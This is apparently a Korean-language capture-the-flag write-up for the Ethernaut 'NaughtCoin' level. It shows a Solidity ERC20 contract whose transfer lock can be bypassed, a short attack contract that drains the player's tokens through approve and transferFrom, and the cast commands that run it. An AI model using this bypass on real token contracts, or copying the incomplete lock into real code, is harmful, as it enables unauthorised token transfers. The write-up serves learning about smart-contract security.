// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
이 문제는 ERC20에 대한 이해를 하고 있냐를 묻는 문제이다. 문제는 openzeppelin에 ERC20을 상속받은 컨트렉트에서 transfer
를 lockTokens
라는 modifier로 override를 하여 transfer
를 오랜기간 하지못하게 막아놨는데 player의 token balance를 0으로 만들 수 있냐는 문제이다.
ERC20에서 token을 전송하는 것은 transfer
이외에 transferFrom
이 존재한다. transferFrom
은 token의 owner가 approve
를 호출하여 제 3자가 owner의 token을 일정량 전송할 수 있게 허용해주는 함수이다. approve
를 통하여 허가 받은 제 3자는 transferFrom
을 통해 마치 owner의 token이 자기 것 처럼 전송을 할 수 있다. 위 문제에서는 approve
와 transferFrom
에 대한 제약이 걸려있지 않기 때문에 이를 수행해주면 player의 token balance를 0으로 만들 수 있다.
제 3자는 EOA로 해도 되고, CA로 해도되는데 필자는 CA로 작성하여 문제를 풀이하였다.
contract attack
{
NaughtCoin public target = NaughtCoin(0x1946f82e8e2F03037e7403a32AFd53ec191b2cB1);
function atk() public
{
target.transferFrom(msg.sender, address(this), 1000000000000000000000000);
}
}
cast send --rpc-url $G_RPC --private-key $P_KEY 0x1946f82e8e2F03037e7403a32AFd53ec191b2cB1 "approve(address, uint256)" 0xE5abf1601B56B3ceDA08E5A152120EC486B4510E 1000000000000000000000000
cast send --rpc-url $G_RPC --private-key $P_KEY 0xE5abf1601B56B3ceDA08E5A152120EC486B4510E "atk()"